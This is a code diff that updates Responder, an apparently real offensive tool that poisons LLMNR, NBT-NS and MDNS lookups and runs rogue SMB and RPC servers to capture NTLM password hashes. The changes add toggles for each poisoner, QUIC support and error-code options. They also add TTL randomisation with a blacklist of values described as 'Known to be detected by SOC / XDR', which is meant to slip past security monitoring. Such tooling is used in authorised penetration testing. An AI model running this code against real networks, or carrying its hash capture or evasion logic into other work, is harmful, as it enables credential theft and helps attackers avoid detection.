servers/RPC.py

@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
 					RPC.calculate()
 					self.request.send(NetworkSendBufferPython2or3(str(RPC)))
 					data = self.request.recv(1024)
-					print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
+					print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
 					self.request.close()
 
 				#LSARPC
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
 					RPC.calculate()
 					self.request.send(NetworkSendBufferPython2or3(str(RPC)))
 					data = self.request.recv(1024)
-					print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
+					print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
 					self.request.close()
 
 				#WINSPOOL
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
 					RPC.calculate()
 					self.request.send(NetworkSendBufferPython2or3(str(RPC)))
 					data = self.request.recv(1024)
-					print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
+					print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
 					self.request.close()
 
 				#NetLogon
@@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
 					#RPC.calculate()
 					#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
 					#data = self.request.recv(1024)
-					#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
+					#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
 
 		except Exception:
 			self.request.close()

servers/SMB.py

@@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler):  # SMB1 & SMB2 Server class, NTLMSSP
                                 ## Session Setup 3 answer SMBv2.
 				if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
 					ParseSMBHash(data, self.client_address[0], Challenge)
-					head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
+					if settings.Config.ErrorCode:
+						ntstatus="\x6d\x00\x00\xc0"
+					else:
+						ntstatus="\x22\x00\x00\xc0"
+					head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
 					t = SMB2Session2Data()
 					packet1 = str(head)+str(t)
 					buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler):  # SMB Server class, old version
 					self.request.send(NetworkSendBufferPython2or3(Buffer))
 				else:
 					ParseLMNTHash(data,self.client_address[0], Challenge)
-					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
+					if settings.Config.ErrorCode:
+						ntstatus="\x6d\x00\x00\xc0"
+					else:
+						ntstatus="\x22\x00\x00\xc0"
+					head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
 					Packet = str(head) + str(SMBSessEmpty())
 					Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
 					self.request.send(NetworkSendBufferPython2or3(Buffer))

servers/WinRM.py

@@ -180,6 +180,5 @@ class WinRM(BaseRequestHandler):
 		
 		except:
 			self.request.close()
-			raise
 			pass
 			

settings.py

@@ -23,7 +23,7 @@ import subprocess
 
 from utils import *
 
-__version__ = 'Responder 3.1.4.0'
+__version__ = 'Responder 3.1.6.0'
 
 class Settings:
 	
@@ -115,10 +115,16 @@ class Settings:
 		config = ConfigParser.ConfigParser()
 		config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
 
+        # Poisoners
+		self.LLMNR_On_Off    = self.toBool(config.get('Responder Core', 'LLMNR'))
+		self.NBTNS_On_Off     = self.toBool(config.get('Responder Core', 'NBTNS'))
+		self.MDNS_On_Off     = self.toBool(config.get('Responder Core', 'MDNS'))
+
 		# Servers
 		self.HTTP_On_Off     = self.toBool(config.get('Responder Core', 'HTTP'))
 		self.SSL_On_Off      = self.toBool(config.get('Responder Core', 'HTTPS'))
 		self.SMB_On_Off      = self.toBool(config.get('Responder Core', 'SMB'))
+		self.QUIC_On_Off     = self.toBool(config.get('Responder Core', 'QUIC'))
 		self.SQL_On_Off      = self.toBool(config.get('Responder Core', 'SQL'))
 		self.FTP_On_Off      = self.toBool(config.get('Responder Core', 'FTP'))
 		self.POP_On_Off      = self.toBool(config.get('Responder Core', 'POP'))
@@ -167,6 +173,27 @@ class Settings:
 		self.DHCP_DNS           = options.DHCP_DNS
 		self.ExternalIP6        = options.ExternalIP6
 		self.Quiet_Mode			= options.Quiet
+		self.AnswerName			= options.AnswerName
+		self.ErrorCode          = options.ErrorCode
+
+		# TTL blacklist. Known to be detected by SOC / XDR
+		TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
+		# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
+		if options.TTL is None:
+			self.TTL = None
+			
+		# Random TTL
+		elif options.TTL.upper() == "RANDOM":
+			TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
+			if TTL in TTL_blacklist:
+				TTL = int.from_bytes(TTL, "big")+1
+				TTL = int.to_bytes(TTL, 4)
+			self.TTL = TTL.decode('utf-8')
+		else:
+			self.TTL = bytes.fromhex("000000"+options.TTL).decode('utf-8')
+
+		#Do we have IPv6 for real?
+		self.IPv6 = utils.Probe_IPv6_socket()
 			
 		if self.Interface == "ALL":
 			self.Bind_To_ALL  = True
@@ -260,6 +287,7 @@ class Settings:
 		self.RespondTo         = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
 		self.RespondToName     = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
 		self.DontRespondTo     = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
+		self.DontRespondToTLD  = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToTLD').strip().split(',')]))
 		self.DontRespondToName_= list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
 		#add a .local to all provided DontRespondToName
 		self.MDNSTLD           = ['.LOCAL']
@@ -332,10 +360,12 @@ class Settings:
 				NetworkCard = "Error fetching Network Interfaces:", ex
 				pass
 		try:
-			DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
+			p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
-		except subprocess.CalledProcessError as ex:
+			DNS = p.stdout.read()
-			DNS = "Error fetching DNS configuration:", ex
+		except:
-			pass
+			p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+			DNS = p.stdout.read()
+
 		try:
 			RoutingInfo = subprocess.check_output(["netstat", "-rn"])
 		except:
@@ -348,7 +378,7 @@ class Settings:
 		Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
 		try:
 			utils.DumpConfig(self.ResponderConfigDump, Message)
-			utils.DumpConfig(self.ResponderConfigDump,str(self))
+			#utils.DumpConfig(self.ResponderConfigDump,str(self))
 		except AttributeError as ex:
 			print("Missing Module:", ex)
 			pass

tools/RunFinger.py

@@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data):
 
 def SMB2SigningMandatory(data):
 	global SMB2signing
-	if data[70:71] == b"\x03":
+	if data[70:71] == "\x03":
 		SMB2signing = "True"
 	else:
 		SMB2signing = "False"
@@ -123,7 +123,7 @@ def WorkstationFingerPrint(data):
  		b"\x06\x01"    :"Windows 7/Server 2008R2",
  		b"\x06\x02"    :"Windows 8/Server 2012",
  		b"\x06\x03"    :"Windows 8.1/Server 2012R2",
-		b"\x0A\x00"    :"Windows 10/Server 2016/2019 (check build)",
+		b"\x0A\x00"    :"Windows 10/Server 2016/2022 (check build)",
  	}.get(data, 'Other than Microsoft')
 
 def GetOsBuildNumber(data):
@@ -201,7 +201,7 @@ def IsDCVuln(t, host):
 #####################
 
 def IsSigningEnabled(data):
-    if data[39:40] == b"\x0f":
+    if data[39:40] == "\x0f":
         return 'True'
     else:
         return 'False'
@@ -251,7 +251,6 @@ def DomainGrab(Host):
 		buffer0 = longueur(packet0)+packet0
 		s.send(NetworkSendBufferPython2or3(buffer0))
 		data = s.recv(2048)
-		s.close()
 		if data[8:10] == b'\x72\x00':
 			return GetHostnameAndDomainName(data)
 	except IOError as e:
@@ -359,7 +358,7 @@ def ConnectAndChoseSMB(host):
 				if not data:
 					break
 		except Exception:
-			pass
+			return False
 	else:
 		return False
 

tools/RunFingerPackets.py

@@ -1,4 +1,5 @@
-import random, struct, sys
+import random, struct, sys, os
+from os import urandom
 from socket import *
 from time import sleep
 from odict import OrderedDict
@@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
         ("SecurityMode", "\x01\x00"),
         ("Reserved","\x00\x00"),
         ("Capabilities","\x00\x00\x00\x00"),
-        ("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
+        ("ClientGUID", urandom(16).decode('latin-1')),
         ("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
         ("Dialect1","\x02\x02"),
         ("Dialect2","\x10\x02"),

utils.py

@@ -30,6 +30,11 @@ try:
 except:
 	sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
 
+try:
+	import aioquic
+except:
+	sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
+
 from calendar import timegm
 
 def if_nametoindex2(name):
@@ -122,7 +127,10 @@ def RespondToThisIP(ClientIp):
 	return False
 
 def RespondToThisName(Name):
-	if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
+
+	if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
+		return False
+	elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
 		return False
 	elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
 		if Name.upper() not in settings.Config.DontRespondToName:
@@ -219,6 +227,16 @@ def FindLocalIP(Iface, OURIP):
 		print(color("[!] Error: %s: Interface not found" % Iface, 1))
 		sys.exit(-1)
 
+def Probe_IPv6_socket():
+	"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
+	if not socket.has_ipv6:
+		return False
+	try:
+		with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
+			s.bind(("::1", 0))
+		return True
+	except:
+		return False
 		
 def FindLocalIP6(Iface, OURIP):
 	if Iface == 'ALL':
@@ -234,7 +252,6 @@ def FindLocalIP6(Iface, OURIP):
 				s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
 				s.connect((randIP+':80', 1))
 				IP = s.getsockname()[0]
-				print('IP is: %s'%IP)
 				return IP
 			except:
 				try:
@@ -468,26 +485,18 @@ def banner():
 	])
 
 	print(banner)
-	print("\n           \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
-	print('')
-	print("  To support this project:")
-	print("  Github -> https://github.com/sponsors/lgandx")
-	print("  Paypal  -> https://paypal.me/PythonResponder")
-	print('')
-	print("  Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
-	print("  To kill this script hit CTRL-C")
 	print('')
 
 
 def StartupMessage():
 	enabled  = color('[ON]', 2, 1) 
 	disabled = color('[OFF]', 1, 1)
-
+	print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
 	print('')
 	print(color("[+] ", 2, 1) + "Poisoners:")
-	print('    %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
+	print('    %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
-	print('    %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
+	print('    %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
-	print('    %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
+	print('    %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
 	print('    %-27s' % "DNS" + enabled)
 	print('    %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
 	print('')
@@ -550,6 +559,12 @@ def StartupMessage():
 		print('    %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
 	if len(settings.Config.DontRespondToName):
 		print('    %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
+	if len(settings.Config.DontRespondToTLD):
+		print('    %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
+	if settings.Config.TTL == None:
+		print('    %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
+	else:
+		print('    %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
 	print('')
 
 	print(color("[+] ", 2, 1) + "Current Session Variables:")
@@ -557,3 +572,7 @@ def StartupMessage():
 	print('    %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
 	print('    %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
 	
+	#credits
+	print('')
+	print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
+	print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")